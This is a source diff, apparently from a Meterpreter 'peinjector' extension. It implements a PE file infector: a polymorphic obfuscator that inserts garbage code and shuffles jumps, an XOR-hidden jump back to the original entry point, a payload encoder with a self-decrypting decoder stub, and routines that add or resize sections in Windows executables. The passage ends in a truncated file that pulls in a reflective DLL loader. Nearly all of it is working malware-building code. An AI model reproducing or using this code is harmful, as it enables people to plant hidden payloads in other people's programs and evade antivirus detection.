entry->index = shellcode->entrys;
entry->code = malloc(codesize);
entry->codesize = codesize;
entry->type = TYPE_CMD;
entry->target = shellcode->entrys + 1;
if (entry->code == NULL) {
return -1;
}
memcpy(entry->code, code, codesize);
/* Add garbage */
if (add_garbage) {
entry->garbage = __peinfector_obfuscator_generate_garbage(shellcode, &entry->garbagesize);
}
/* Increase size */
shellcode->total_size += entry->garbagesize + entry->codesize;
/* Increase entry counter*/
shellcode->entrys++;
/* Return entry index */
return shellcode->entrys - 1;
}
/* Add shellcode jmp/loop/call */
static int __peinfector_obfuscator_shellcode_add_generic_jmp(SHELLCODE *shellcode, SHELLCODE_TYPE type,
size_t size_correction, size_t target, bool add_garbage) {
SHELLCODE_ENTRY *entry = NULL;
/* Add entry */
shellcode->entry = realloc(shellcode->entry, (shellcode->entrys + 1) * sizeof(SHELLCODE_ENTRY));
if (shellcode->entry == NULL) {
return -1;
}
memset(&shellcode->entry[shellcode->entrys], 0, sizeof(SHELLCODE_ENTRY));
entry = (SHELLCODE_ENTRY*) &shellcode->entry[shellcode->entrys];
/* Set Entry */
entry->index = shellcode->entrys;
entry->codesize = size_correction;
entry->target = target;
entry->type = type;
/* Add garbage */
if (add_garbage) {
entry->garbage = __peinfector_obfuscator_generate_garbage(shellcode, &entry->garbagesize);
}
/* Increase size */
shellcode->total_size += entry->garbagesize + entry->codesize;
/* Increase entry counter*/
shellcode->entrys++;
/* Return entry index */
return shellcode->entrys - 1;
}
/* Add JMP Entry*/
static int __peinfector_obfuscator_shellcode_add_jmp(SHELLCODE *shellcode, size_t target, bool add_garbage) {
return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_JMP, 0, target, add_garbage);
}
/* Add LOOP Entry*/
static int __peinfector_obfuscator_shellcode_add_loop(SHELLCODE *shellcode, size_t target, bool add_garbage) {
return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_LOOP, 2, target, add_garbage);
}
/* Add CALL Entry*/
static int __peinfector_obfuscator_shellcode_add_call(SHELLCODE *shellcode, size_t target, bool add_garbage) {
return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_CALL, 3, target, add_garbage);
}
/* get jmp position of entry */
static int __peinfector_obfuscator_shellcode_get_jmp_pos(SHELLCODE *shellcode, int entry) {
size_t pos = 0;
size_t i = 0;
if (entry == -1) {
return 0;
}
/* Find position to insert JMP after shuffling */
pos = 2;
for (i = 0; i < shellcode->entrys; ++i) {
pos += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2);
if (shellcode->entry[i].index == entry) {
/* Correct position (CALL 5, LOOP 4, all other 2) */
pos -= (shellcode->entry[i].type == TYPE_CALL) ? 5 : ((shellcode->entry[i].type == TYPE_LOOP) ? 4 : 2);
break;
}
}
return pos;
}
/* Calculates delta between 2 entrys (end entry 1 -> start entry 2) */
static int __peinfector_obfuscator_shellcode_find_delta(SHELLCODE *shellcode, uint32_t size, int entry1,
int entry2) {
size_t i = 0;
size_t pos_1 = 0;
size_t pos_2 = 0;
/* End of entry 1*/
if (entry1 == -1) {
pos_1 = 2;
} else {
pos_1 = 2;
for (i = 0; i < shellcode->entrys; ++i) {
pos_1 += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2);
if (shellcode->entry[i].index == entry1) {
break;
}
}
}
/* Start of entry 2*/
if ((entry2 == -1) || (entry2 == shellcode->entrys)) {
pos_2 = size;
} else {
pos_2 = 2;
for (i = 0; i < shellcode->entrys; ++i) {
if (shellcode->entry[i].index == entry2) {
break;
}
pos_2 += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2);
}
}
/* Return delta position */
return pos_2 - pos_1;
}
static void __peinfector_obfuscator_build_relative_jmp(unsigned char *shellcode, uint32_t pos, OPCODE opcode,
int jmp_delta) {
shellcode[pos] = opcode;
/* Relative target */
if ((jmp_delta == 0) && (opcode != OP_LOOP)) {
/* NOP */
if (opcode == OP_CALL) {
memset(&shellcode[pos], 0x90, 5);
} else {
memset(&shellcode[pos], 0x90, 2);
}
/* jmp forward */
} else if (jmp_delta > 0) {
if (opcode == OP_LOOP) {
jmp_delta += 4;
}
shellcode[pos + 1] = (unsigned char) jmp_delta;
if (opcode == OP_CALL) {
memset(&shellcode[pos + 2], 0x00, 3);
}
/* jmp backward */
} else {
if (opcode == OP_LOOP) {
jmp_delta += 4;
}
shellcode[pos + 1] = (unsigned char) ((int) 0xfe + (int) (jmp_delta + 2));
if (opcode == OP_CALL) {
memset(&shellcode[pos + 2], 0xff, 3);
}
}
}
/* Generates new randomized shellcode */
static unsigned char* __peinfector_obfuscator_shellcode_generate(SHELLCODE *shellcode, size_t *size) {
int i = 0;
uint32_t pos = 0;
uint32_t jmp_pos = 0;
int jmp_delta = 0;
unsigned char *shellcode_buf = NULL;
/* Shuffle entrys */
__peinfector_obfuscator_shuffle(shellcode->entry, (shellcode->entrys - (shellcode->fix_last ? 1 : 0)),
sizeof(SHELLCODE_ENTRY));
/* Calculate size */
*size = ((shellcode->entrys + 1) * 2) + shellcode->total_size;
/* Allocate shellcode */
shellcode_buf = malloc(*size);
if (shellcode_buf == NULL) {
return NULL;
}
/* Jump to 0 entry */
jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, -1, 0);
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, 0, OP_JMP, jmp_delta);
pos = 2;
/* Write shellcode, garbage and jmps */
for (i = 0; i < (int) shellcode->entrys; ++i) {
/* Write payload data*/
/* Write garbage */
if (shellcode->entry[i].garbage != NULL) {
memcpy(shellcode_buf + pos, shellcode->entry[i].garbage, shellcode->entry[i].garbagesize);
}
pos += shellcode->entry[i].garbagesize;
/* Write shellcode data */
if (shellcode->entry[i].code != NULL) {
memcpy(shellcode_buf + pos, shellcode->entry[i].code, shellcode->entry[i].codesize);
}
pos += shellcode->entry[i].codesize + 2;
/* Write jmps */
/* Position of jmp cmd */
jmp_pos = __peinfector_obfuscator_shellcode_get_jmp_pos(shellcode, shellcode->entry[i].index);
/* Difference to next entry */
jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, shellcode->entry[i].index,
shellcode->entry[i].target);
switch (shellcode->entry[i].type) {
case TYPE_CMD:
case TYPE_JMP:
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_JMP, jmp_delta);
break;
case TYPE_LOOP:
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_LOOP, jmp_delta - 2);
jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, shellcode->entry[i].index,
shellcode->entry[i].index + 1);
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos + 2, OP_JMP, jmp_delta);
break;
case TYPE_CALL:
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_CALL, jmp_delta);
break;
}
}
/* Return result */
return shellcode_buf;
}
/* Random uint32 */
static uint32_t __peinfect_obfuscator_random_uint32() {
uint32_t i, p;
p = rand();
for (i = 0; i < 2; ++i) {
p <<= 16;
p |= rand();
}
return p;
}
/* Build XOR pair for value, 32 bit*/
static void __peinfect_obfuscator_build_xor_pair_x86(uint32_t value, uint32_t *p1, uint32_t *p2) {
uint32_t i;
*p1 = rand();
for (i = 0; i < 2; ++i) {
*p1 <<= 16;
*p1 |= rand();
}
*p2 = value ^ *p1;
}
/* Build XOR pair for value, 64 bit*/
static void __peinfect_obfuscator_build_xor_pair_x64(uint64_t value, uint64_t *p1, uint64_t *p2) {
uint32_t i;
*p1 = rand();
for (i = 0; i < 4; ++i) {
*p1 <<= 16;
*p1 |= rand();
}
*p2 = value ^ *p1;
}
unsigned char* peinfect_obfuscator_build_ep_jmp(PEFILE *pe, size_t *jmpsize) {
uint32_t ep_x86, p1_x86, p2_x86;
uint64_t ep_x64, p1_x64, p2_x64;
unsigned char *jmp_payload = NULL;
static bool add_garbage = true;
bool error = true;
char tmp[10] = { 0 };
/* Takes EntryPoint (ep) and generates an random value p1 and p2 = ep xor
*
* Then polymorphic engine creates obfuscated version of the following assembly.
*
* ASM: (x64: rax, rbx) (Could be done with less commands, but with more commands
* the polymorphic engine can create more variants)
*
* mov eax, p1
* mov ebx, p2
* xor eax, ebx
* xor ebx, ebx
* push eax
* xor eax
* retn
*/
/* Shellcode obfuscator engine */
SHELLCODE *shellcode = __peinfector_obfuscator_shellcode_new();
if (shellcode == NULL) {
return NULL;
}
/* Cruel solution, but keeps code clean */
for (;;) {
/* Get entry point (VA, not RVA) and build hidden jmp */
if (pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
ep_x86 = pe->optional_header_32.ImageBase + pe->optional_header_32.AddressOfEntryPoint;
/* Build XOR pair*/
__peinfect_obfuscator_build_xor_pair_x86(ep_x86, &p1_x86, &p2_x86);
/* Build return x86 */
/* mov eax, p1*/
tmp[0] = '\xb8';
memcpy(tmp + 1, &p1_x86, sizeof(uint32_t));
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
break;
}
/* mov ebx, p2*/
tmp[0] = '\xbb';
memcpy(tmp + 1, &p2_x86, sizeof(uint32_t));
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
break;
}
/* xor eax, ebx*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xd8", 2, add_garbage) < 0) {
break;
}
/* xor ebx, ebx*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xdb", 2, add_garbage) < 0) {
break;
}
/* push eax*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x50", 1, add_garbage) < 0) {
break;
}
/* xor eax, eax*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xc0", 2, add_garbage) < 0) {
break;
}
/* ret*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xc3", 1, add_garbage) < 0) {
break;
}
} else {
ep_x64 = pe->optional_header_64.ImageBase + pe->optional_header_64.AddressOfEntryPoint;
/* Build XOR pair*/
__peinfect_obfuscator_build_xor_pair_x64(ep_x64, &p1_x64, &p2_x64);
/* x64 Mode (Some garbage entrys are not allowed) */
__peinfector_obfuscator_shellcode_set_x64(shellcode, true);
/* Build return x64 */
/* mov rax, p1*/
tmp[0] = '\x48';
tmp[1] = '\xb8';
memcpy(tmp + 2, &p1_x64, sizeof(uint64_t));
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 10, add_garbage) < 0) {
break;
}
/* mov rbx, p2*/
tmp[1] = '\xbb';
memcpy(tmp + 2, &p2_x64, sizeof(uint64_t));
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 10, add_garbage) < 0) {
break;
}
/* xor rax, rbx*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xd8", 3, add_garbage) < 0) {
break;
}
/* xor rbx, rbx*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xdb", 3, add_garbage) < 0) {
break;
}
/* push rax*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x50", 1, add_garbage) < 0) {
break;
}
/* xor rax, rax*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xc0", 3, add_garbage) < 0) {
break;
}
/* ret*/
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xc3", 1, add_garbage) < 0) {
break;
}
}
/* Everything ok */
error = false;
break;
}
/* Generate */
if (!error) {
jmp_payload = __peinfector_obfuscator_shellcode_generate(shellcode, jmpsize);
}
/* Free shellcode obfuscator engine */
__peinfector_obfuscator_shellcode_free(shellcode);
return jmp_payload;
}
unsigned char* peinfect_obfuscator_encrypt_payload(unsigned char *payload, size_t payloadsize, size_t *decryptersize,
bool x64) {
bool add_garbage = false; /* temp. disable garbage insertion because of errors on x86 plattform */
bool error = true;
size_t i = 0;
size_t totalsize = 0;
unsigned char *decrypter = NULL;
unsigned char *encrypted = NULL;
char tmp[10] = { 0 };
int label_decode = 0;
int label_getaddr = 0;
/* Random keys (rnd1 = bit-shift, rnd2 = xor) */
unsigned char rnd1 = (unsigned char) ((int) 1 + __peinfect_obfuscator_random_uint32() % 7);
unsigned char rnd2 = (unsigned char) ((int) 1 + __peinfect_obfuscator_random_uint32() % 255);
/*
* x86/x64 produces the same code
*
* _start:
* jmp short encoded ; Load Address
* getaddr:
* pop ebx ; stores data
* mov ecx, xxxxxxxx ; shellcode size
* decode:
* ror byte ptr [ecx + ebx - 1], rnd ; Random Bit Rotate
* xor byte ptr [ecx + ebx - 1], rnd2 ; Random XOr
* loop short decode
*
* jmp ebx ; jmp to shellcode
* encoded:
* call getaddr
* ; Shellcode
* end _start
*/
/* Shellcode obfuscator engine */
SHELLCODE *shellcode = __peinfector_obfuscator_shellcode_new();
if (shellcode == NULL) {
return NULL;
}
/* x64 Mode (Some garbage entrys are not allowed) */
__peinfector_obfuscator_shellcode_set_x64(shellcode, x64);
/* Last command must be at last position */
__peinfector_obfuscator_shellcode_fix_last(shellcode, true);
for (;;) {
/* jmp encoded */
if (__peinfector_obfuscator_shellcode_add_jmp(shellcode, 7, add_garbage) < 0) {
break;
}
/* getaddr: */
/* pop ebx */
if ((label_getaddr = __peinfector_obfuscator_shellcode_add_entry(shellcode, "\x5b", 1, add_garbage)) < 0) {
break;
}
/* set ecx, length */
tmp[0] = '\xb9';
memcpy(&tmp[1], &payloadsize, sizeof(uint32_t));
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
break;
}
/* decode: */
/* ror byte ptr [ecx + ebx - 1], rn1 */
tmp[4] = rnd1;
memcpy(&tmp[0], "\xc0\x4c\x0b\xff", 4);
if ((label_decode = __peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage)) < 0) {
break;
}
/* xor byte ptr [ecx + ebx - 1], rnd2 */
tmp[4] = rnd2;
memcpy(&tmp[0], "\x80\x74\x19\xff", 4);
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
break;
}
/* loop decode */
if (__peinfector_obfuscator_shellcode_add_loop(shellcode, label_decode, add_garbage) < 0) {
break;
}
/* jmp ebx */
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xff\xe3", 2, add_garbage) < 0) {
break;
}
/* encoded: */
/* call getaddr */
if (__peinfector_obfuscator_shellcode_add_call(shellcode, label_getaddr, add_garbage) < 0) {
break;
}
error = false;
break;
}
/* Generate */
if (!error) {
decrypter = __peinfector_obfuscator_shellcode_generate(shellcode, decryptersize);
}
/* Free shellcode obfuscator engine */
__peinfector_obfuscator_shellcode_free(shellcode);
/* Add payload */
if (decrypter != NULL) {
/* Add payload and encode */
totalsize = *decryptersize + payloadsize;
encrypted = realloc(decrypter, *decryptersize + payloadsize);
if (encrypted == NULL) {
free(decrypter);
return NULL;
}
memcpy(encrypted + *decryptersize, payload, payloadsize);
/* Encode */
for (i = *decryptersize; i < totalsize; ++i) {
encrypted[i] ^= rnd2;
encrypted[i] = ((encrypted[i] << rnd1) | (encrypted[i] >> (8 - rnd1))) & 0xff;
}
*decryptersize = totalsize;
}
return encrypted;
}

View File

@ -0,0 +1,34 @@
/**
* \file libpeinfect_obfuscator.h
* \brief peinfect obfuscator sub-library
*/
#ifndef LIBPEINFECT_OBFUSCATOR_H_
#define LIBPEINFECT_OBFUSCATOR_H_
#include "libpeinfect.h"
/**
* Build obfuscated jump to entry point (ep)
*
* \param pe PEFILE to build jump
* \param jumpsize Size of generated shellcode
*
* \return shellcode if success, NULL otherwise
*/
unsigned char* peinfect_obfuscator_build_ep_jmp(PEFILE *pe, size_t *jmpsize);
/**
* Encodes payload and attaches obfuscated decoder stub
*
* \param payload Payload to encode
* \param payloadsize Size of payload
* \param encodedsize Size of generated shellcode
* \param x64 Enables x64 mode
*
* \return shellcode if success, NULL otherwise
*/
unsigned char* peinfect_obfuscator_encrypt_payload(unsigned char *payload, size_t payloadsize, size_t *encodedsize,
bool x64);
#endif /* LIBPEINFECT_OBFUSCATOR_H_ */

View File

@ -0,0 +1,399 @@
/*
* \file libpetool.c
* \brief Applies complex operations on a given PE FILE
*/
#include <string.h>
#include <stddef.h>
#include "libpetool.h"
/* Min/Max Macros */
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b))
/* Align value */
static uint32_t __petool_align(uint32_t value, uint32_t alignment) {
return (value % alignment > 0) ? value + alignment - (value % alignment) : value;
}
/* Adjusting values in the optional header */
static void __petool_adjust_optional_header(PEFILE *out) {
size_t i = 0;
uint32_t size_of_code = 0;
uint32_t size_of_initialized_data = 0;
uint32_t size_of_uninitialized_data = 0;
bool is_32_bit = false;
uint32_t sizeofimage;
/* Default values (PE COFF Specification) */
size_t section_alignment = NT_SECTION_ALIGNMENT;
/* Check if 32/64 bit header */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
is_32_bit = true;
section_alignment = out->optional_header_32.SectionAlignment;
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
is_32_bit = false;
section_alignment = out->optional_header_64.SectionAlignment;
} else {
/* Nothing to adjust */
return;
}
/* Sum up over sections */
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE) {
size_of_code += out->section_header[i].Misc.VirtualSize;
}
if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
size_of_initialized_data += out->section_header[i].Misc.VirtualSize;
}
if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
size_of_uninitialized_data += out->section_header[i].Misc.VirtualSize;
}
}
/* Align SizeOfImage to Section Alignment */
sizeofimage = __petool_align(
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress
+ out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize, section_alignment);
/* Write new values into required fields */
if (is_32_bit) {
out->optional_header_32.SizeOfImage = sizeofimage;
out->optional_header_32.SizeOfCode = size_of_code;
out->optional_header_32.SizeOfInitializedData = size_of_initialized_data;
out->optional_header_32.SizeOfUninitializedData = size_of_uninitialized_data;
} else {
out->optional_header_64.SizeOfImage = sizeofimage;
out->optional_header_64.SizeOfCode = size_of_code;
out->optional_header_64.SizeOfInitializedData = size_of_initialized_data;
out->optional_header_64.SizeOfUninitializedData = size_of_uninitialized_data;
}
}
/* Increases the header padding with the given size */
static bool __petool_increase_header_padding(size_t size, PEFILE *out) {
size_t i = 0;
unsigned char *new_header_padding = NULL;
size_t header_raw_end = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader
+ out->pe_header.NumberOfSections * sizeof(SECTION_HEADER);
new_header_padding = realloc(out->header_padding.mem, out->header_padding.memsize + size);
/* Couldn't reallocate memory */
if (new_header_padding == NULL) {
return false;
}
/* No way to resize without damaging code execution */
/* Sorry for this cruel if .. */
if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)
&& ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
|| (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC))
&& (header_raw_end + out->header_padding.memsize + size) > out->section_header[0].VirtualAddress) {
/* Reset header padding */
out->header_padding.mem = realloc(new_header_padding, out->header_padding.memsize);
return false;
}
/* Increase at head */
memmove(new_header_padding + size, new_header_padding, out->header_padding.memsize);
memset(new_header_padding, 0, size);
out->header_padding.mem = new_header_padding;
out->header_padding.memsize += size;
/* Fix SizeOfHeaders */
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
if (out->optional_header_32.SizeOfHeaders < (header_raw_end + out->header_padding.memsize)) {
out->optional_header_32.SizeOfHeaders = header_raw_end + out->header_padding.memsize;
}
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
if (out->optional_header_64.SizeOfHeaders < (header_raw_end + out->header_padding.memsize)) {
out->optional_header_64.SizeOfHeaders = header_raw_end + out->header_padding.memsize;
}
}
/* Fix section positions */
if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)) {
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
out->section_header[i].PointerToRawData += size;
}
}
/* Fix additional data positions */
if ((out->additional_count > 0) && (out->additional_data != NULL)) {
for (i = 0; i < out->additional_count; ++i) {
out->additional_data[i].position += size;
}
}
return true;
}
bool petool_resize_section(size_t section_index, size_t new_raw_size, size_t new_virtual_size, bool header_only,
PEFILE *out) {
uint32_t old_raw_size = 0;
uint32_t diff = 0;
bool shrink = false;
bool raw_change = false;
unsigned char *newmem = NULL;
int i = 0;
/* Default values (PE COFF Specification) */
size_t file_alignment = NT_FILE_ALIGNMENT;
/* No Section Headers*/
if (out->section_header == NULL) {
return false;
}
/* Section Index out of bounds */
if (out->pe_header.NumberOfSections <= section_index) {
return false;
}
/* Virtual Size won't fit */
if ((out->pe_header.NumberOfSections < (section_index + 1))
&& ((out->section_header[section_index].VirtualAddress + new_virtual_size)
> out->section_header[section_index + 1].VirtualAddress)) {
return false;
}
/* Nothing to do */
if (!(raw_change = (new_raw_size != out->section_header[section_index].SizeOfRawData))
&& out->section_header[section_index].Misc.VirtualSize == new_virtual_size) {
return true;
}
/* Try to change raw size of section nested in another section, this won't work ... */
if (raw_change) {
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
if ((section_index != i)
&& (out->section_header[i].PointerToRawData <= out->section_header[section_index].PointerToRawData)
&& ((out->section_header[i].PointerToRawData + out->section_header[i].SizeOfRawData)
>= (out->section_header[section_index].PointerToRawData + out->section_header[section_index].SizeOfRawData))) {
return false;
}
}
}
/* New Virtual Size */
out->section_header[section_index].Misc.VirtualSize = new_virtual_size;
/* Only needed if RawSize was changed */
if (raw_change) {
/* Save old raw size*/
old_raw_size = out->section_header[section_index].SizeOfRawData;
/* Try to load specific alignments */
/* x86 */
if ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_32, MajorOperatingSystemVersion))) {
file_alignment = out->optional_header_32.FileAlignment;
/* x64 */
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_64, MajorOperatingSystemVersion))) {
file_alignment = out->optional_header_64.FileAlignment;
}
/* Align new raw size */
new_raw_size = __petool_align(new_raw_size, file_alignment);
/* Set new RawSize */
out->section_header[section_index].SizeOfRawData = new_raw_size;
/* Get Size difference */
if (new_raw_size > old_raw_size) {
diff = new_raw_size - old_raw_size;
shrink = false;
} else {
diff = old_raw_size - new_raw_size;
shrink = true;
}
/* Fix section offsets*/
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
if (out->section_header[i].PointerToRawData
>= (out->section_header[section_index].PointerToRawData + old_raw_size)) {
shrink ? (out->section_header[i].PointerToRawData -= diff) : (out->section_header[i].PointerToRawData += diff);
}
}
/* Resize section memory */
if (!header_only) {
if (out->section_data == NULL) {
return false;
}
/* Try resize */
newmem = realloc(out->section_data[section_index].mem, new_raw_size);
if (newmem == NULL) {
return false;
}
/* Set new Memory */
out->section_data[section_index].mem = newmem;
out->section_data[section_index].memsize = new_raw_size;
/* Fix additional data positions */
if ((out->additional_count > 0) && (out->additional_data != NULL)) {
for (i = 0; i < out->additional_count; ++i) {
if (out->additional_data[i].position
>= (out->section_header[section_index].PointerToRawData + old_raw_size)) {
shrink ? (out->additional_data[i].position -= diff) : (out->additional_data[i].position += diff);
}
}
}
}
}
/* Adjust Optional Header*/
__petool_adjust_optional_header(out);
return true;
}
bool petool_add_section(char *name, size_t namesize, size_t characteristics, unsigned char *mem, size_t memsize,
bool header_only, PEFILE *out) {
SECTION_HEADER *new_section_header = NULL;
DATA_BLOBC *new_section_data = NULL;
size_t i;
size_t last_section_rva = 0;
size_t last_section_virtualsize = 0;
size_t header_raw_end = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader
+ out->pe_header.NumberOfSections * sizeof(SECTION_HEADER);
/* Default values (PE COFF Specification) */
size_t section_alignment = NT_SECTION_ALIGNMENT;
size_t file_alignment = NT_FILE_ALIGNMENT;
unsigned char *section_mem = NULL;
size_t section_memsize = 0;
size_t section_raw_pointer = 0;
size_t section_rva;
/* Try to load specific alignments */
/* x86 */
if ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_32, MajorOperatingSystemVersion))) {
section_alignment = out->optional_header_32.SectionAlignment;
file_alignment = out->optional_header_32.FileAlignment;
last_section_rva = out->optional_header_32.BaseOfCode;
/* x64 */
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_64, MajorOperatingSystemVersion))) {
section_alignment = out->optional_header_64.SectionAlignment;
file_alignment = out->optional_header_64.FileAlignment;
last_section_rva = out->optional_header_64.BaseOfCode;
}
/* Increase header padding till the new header fits */
while (out->header_padding.memsize < sizeof(SECTION_HEADER)) {
if (!__petool_increase_header_padding(file_alignment, out)) {
/* Something went wrong*/
return false;
}
}
/* Move padding */
memmove(out->header_padding.mem, out->header_padding.mem + sizeof(SECTION_HEADER),
out->header_padding.memsize - sizeof(SECTION_HEADER));
out->header_padding.memsize -= sizeof(SECTION_HEADER);
/* Try find position of last section */
if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)) {
last_section_rva = out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress;
last_section_virtualsize = out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize;
/* Sections can be nested inside other sections */
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
section_raw_pointer = MAX(section_raw_pointer,
out->section_header[i].PointerToRawData + out->section_header[i].SizeOfRawData);
}
} else {
section_raw_pointer = header_raw_end + out->header_padding.memsize;
}
/* Resize holder structures */
out->pe_header.NumberOfSections++;
new_section_header = realloc(out->section_header, out->pe_header.NumberOfSections * sizeof(SECTION_HEADER));
/* Couldn't allocate memory */
if (new_section_header == NULL) {
return false;
}
out->section_header = new_section_header;
if (!header_only) {
new_section_data = realloc(out->section_data, out->pe_header.NumberOfSections * sizeof(DATA_BLOBC));
/* Couldn't allocate memory */
if (new_section_data == NULL) {
return false;
}
out->section_data = new_section_data;
}
/* Calculate padded raw size & relative virtual address */
section_memsize = __petool_align(memsize, file_alignment);
section_rva = __petool_align(last_section_rva + last_section_virtualsize, section_alignment);
/* Header only, don't modify data */
if (!header_only) {
/* Allocate new section memory */
section_mem = malloc(section_memsize);
/* Couldn't allocate memory */
if (section_mem == NULL) {
return false;
}
/* Copy memory to section memory and clear rest */
if (mem != NULL) {
memcpy(section_mem, mem, memsize);
memset(section_mem + memsize, 0, section_memsize - memsize);
} else {
memset(section_mem, 0, section_memsize);
}
/* Store section data */
out->section_data[out->pe_header.NumberOfSections - 1].mem = section_mem;
out->section_data[out->pe_header.NumberOfSections - 1].memsize = section_memsize;
}
/* New Section Header */
memset(&out->section_header[out->pe_header.NumberOfSections - 1], 0, sizeof(SECTION_HEADER));
out->section_header[out->pe_header.NumberOfSections - 1].PointerToRawData = section_raw_pointer;
out->section_header[out->pe_header.NumberOfSections - 1].SizeOfRawData = section_memsize;
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress = section_rva;
out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize = memsize;
out->section_header[out->pe_header.NumberOfSections - 1].Characteristics = characteristics;
if (name != NULL) {
memcpy(out->section_header[out->pe_header.NumberOfSections - 1].Name, name, MIN(NT_SHORT_NAME_LEN, namesize));
}
/* Header only, don't modify data */
if (!header_only) {
/* Fix additional data positions */
if ((out->additional_count > 0) && (out->additional_data != NULL)) {
for (i = 0; i < out->additional_count; ++i) {
if (out->additional_data[i].position
== out->section_header[out->pe_header.NumberOfSections - 1].PointerToRawData) {
out->additional_data[i].position += out->section_header[out->pe_header.NumberOfSections - 1].SizeOfRawData;
break;
}
}
}
}
/* Adjust Optional Header */
__petool_adjust_optional_header(out);
return true;
}

View File

@ -0,0 +1,41 @@
/**
* \file libpetool.h
* \brief Applies complex operations on a given PE FILE
*/
#ifndef LIBPETOOL_H_
#define LIBPETOOL_H_
#include "libpefile.h"
/**
* Tries to resize an existing section
*
* \param section_index Index of section to resize
* \param new_raw_size New RawSize of section
* \param new_virtual_size New VirtualSize of section
* \param header_only Only modifies header
* \param out PE File where the section will be resized
*
* \return true on success, false otherwise
*/
bool petool_resize_section(size_t section_index, size_t new_raw_size, size_t new_virtual_size, bool header_only,
PEFILE *out);
/**
* Tries to insert a new section into a given PE File
*
* \param name Name of new section
* \param namesize Size of name
* \param characteristics Characteristics of new section
* \param mem Memory used for new section. If NULL, memsize zeros will be used
* \param memsize Memory size of new section
* \param header_only Only modifies header
* \param out PE File where the section will be added
*
* \return true on success, false otherwise
*/
bool petool_add_section(char *name, size_t namesize, size_t characteristics, unsigned char *mem, size_t memsize,
bool header_only, PEFILE *out);
#endif /* LIBPETOOL_H_ */

View File

@ -0,0 +1,44 @@
/*!
* @file peinjector.c
* @brief Entry point and intialisation definitions for the Peinjector extension
*/
#include "../../common/common.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "peinjector_bridge.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
Command customCommands[] =
{
